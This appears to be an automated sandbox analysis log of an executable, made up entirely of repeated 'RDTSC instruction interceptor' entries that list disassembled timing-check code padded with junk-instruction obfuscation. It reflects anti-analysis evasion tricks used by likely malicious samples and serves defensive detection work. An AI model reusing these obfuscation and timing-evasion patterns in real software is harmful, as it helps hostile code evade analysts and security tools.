Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5700D6 second address: 5700FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3F244F40E9h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572199 second address: 57219E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5749DA second address: 5749F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F244F40E8h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5749F7 second address: 5749FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5749FD second address: 574A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574F83 second address: 575011 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F3F24EE2704h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F3F24EE26F8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 sub dword ptr [ebp+122D1C9Fh], edx 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007F3F24EE26F8h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a mov edi, dword ptr [ebp+122D2778h] 0x00000050 xchg eax, esi 0x00000051 jmp 00007F3F24EE2700h 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F3F24EE2704h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D512 second address: 52D516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5729A5 second address: 5729CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F3F24EE2722h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3F24EE2704h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D516 second address: 52D51A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D51A second address: 52D525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578611 second address: 578629 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jnp 00007F3F244F40D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F3F244F40D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577851 second address: 577855 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 578629 second address: 57862D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5787D4 second address: 5787E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F24EE26FEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5787E9 second address: 578885 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F3F244F40E3h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F3F244F40D8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 sub dword ptr [ebp+1244D9F8h], ebx 0x00000036 cld 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov ebx, 33C97DE1h 0x00000043 mov ebx, ecx 0x00000045 mov eax, dword ptr [ebp+122D0A41h] 0x0000004b pushad 0x0000004c mov dword ptr [ebp+122D2164h], eax 0x00000052 mov edi, dword ptr [ebp+122D21CEh] 0x00000058 popad 0x00000059 push FFFFFFFFh 0x0000005b mov di, B6A8h 0x0000005f nop 0x00000060 jmp 00007F3F244F40DEh 0x00000065 push eax 0x00000066 pushad 0x00000067 jmp 00007F3F244F40E6h 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B865 second address: 57B869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B869 second address: 57B86D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B86D second address: 57B8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F3F24EE26F8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F3F24EE26F8h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 or ebx, 27775E13h 0x00000046 sub ebx, 47F2824Fh 0x0000004c xchg eax, esi 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B8D0 second address: 57B8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B8D4 second address: 57B8E1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3F24EE26F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B8E1 second address: 57B8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jo 00007F3F244F40E0h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C8AB second address: 57C94A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE2709h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jns 00007F3F24EE2706h 0x00000011 pop esi 0x00000012 nop 0x00000013 mov bl, al 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F3F24EE26F8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 push esi 0x00000032 mov dword ptr [ebp+122D222Dh], edx 0x00000038 pop ebx 0x00000039 mov edi, dword ptr [ebp+122D2778h] 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ebp 0x00000044 call 00007F3F24EE26F8h 0x00000049 pop ebp 0x0000004a mov dword ptr [esp+04h], ebp 0x0000004e add dword ptr [esp+04h], 00000017h 0x00000056 inc ebp 0x00000057 push ebp 0x00000058 ret 0x00000059 pop ebp 0x0000005a ret 0x0000005b xchg eax, esi 0x0000005c pushad 0x0000005d push ecx 0x0000005e jmp 00007F3F24EE26FBh 0x00000063 pop ecx 0x00000064 push eax 0x00000065 push edx 0x00000066 push esi 0x00000067 pop esi 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BAD6 second address: 57BAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F3F244F40DAh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3F244F40DAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57BAF5 second address: 57BAFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C94A second address: 57C96E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3F244F40E8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C96E second address: 57C974 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C974 second address: 57C991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F244F40E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D888 second address: 57D892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3F24EE26F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D892 second address: 57D896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57D896 second address: 57D8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b cmc 0x0000000c push 00000000h 0x0000000e mov dword ptr [ebp+122D217Eh], edi 0x00000014 push edx 0x00000015 sbb ebx, 74E559DBh 0x0000001b pop ebx 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57DAB2 second address: 57DABC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3F244F40DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F818 second address: 57F81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57F81C second address: 57F86B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movzx edi, di 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F3F244F40D8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 jmp 00007F3F244F40E7h 0x0000002d push 00000000h 0x0000002f movsx ebx, bx 0x00000032 push eax 0x00000033 push edi 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581730 second address: 581748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE26FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581748 second address: 58174D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58174D second address: 5817E2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F24EE26FCh 0x00000008 js 00007F3F24EE26F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 or dword ptr [ebp+122D2B9Ah], eax 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F3F24EE26F8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F3F24EE26F8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov ebx, dword ptr [ebp+122D2888h] 0x00000055 pushad 0x00000056 jmp 00007F3F24EE2704h 0x0000005b cmc 0x0000005c popad 0x0000005d xchg eax, esi 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007F3F24EE2706h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5817E2 second address: 581806 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F244F40E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3F244F40DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584F36 second address: 584F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EAA4 second address: 57EAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EAAA second address: 57EAB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586E40 second address: 586E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F3F244F40D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57EAB5 second address: 57EABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5850B4 second address: 5850B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586E4A second address: 586EA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D1843h], esi 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F3F24EE26F8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F3F24EE26F8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 or di, 49ACh 0x0000004c xchg eax, esi 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586EA8 second address: 586EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586EAC second address: 586ED2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F24EE2708h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586ED2 second address: 586ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586ED6 second address: 586EDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 586EDA second address: 586EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 587134 second address: 587139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A0F0 second address: 58A0F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52BA1B second address: 52BA1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52BA1F second address: 52BA23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52BA23 second address: 52BA44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F3F24EE26FAh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 js 00007F3F24EE26F6h 0x0000001d popad 0x0000001e push esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52BA44 second address: 52BA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58E50A second address: 58E51E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jl 00007F3F24EE26F6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 592041 second address: 59204C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59204C second address: 592067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F24EE26FDh 0x00000009 jmp 00007F3F24EE26FAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5921B3 second address: 5921B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5959DB second address: 595A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE26FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F3F24EE2709h 0x0000000f pop edi 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F3F24EE2706h 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3F24EE2708h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597FFD second address: 598005 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598005 second address: 598009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D74E second address: 59D754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D754 second address: 59D77A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3F24EE26F6h 0x0000000a popad 0x0000000b js 00007F3F24EE26F8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3F24EE26FCh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D77A second address: 59D784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3F244F40D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D784 second address: 59D795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F24EE26FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CBDE second address: 59CBE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CBE4 second address: 59CBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CBEA second address: 59CBF1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE41 second address: 59CE47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE47 second address: 59CE4D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE4D second address: 59CE53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE53 second address: 59CE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE57 second address: 59CE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE5B second address: 59CE61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE61 second address: 59CE9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3F24EE26FDh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e jnc 00007F3F24EE270Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59CE9A second address: 59CE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A37C4 second address: 5A37DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F3F24EE2703h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2809 second address: 5A280F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A280F second address: 5A281F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F24EE26F6h 0x00000008 ja 00007F3F24EE26F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2AC3 second address: 5A2ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
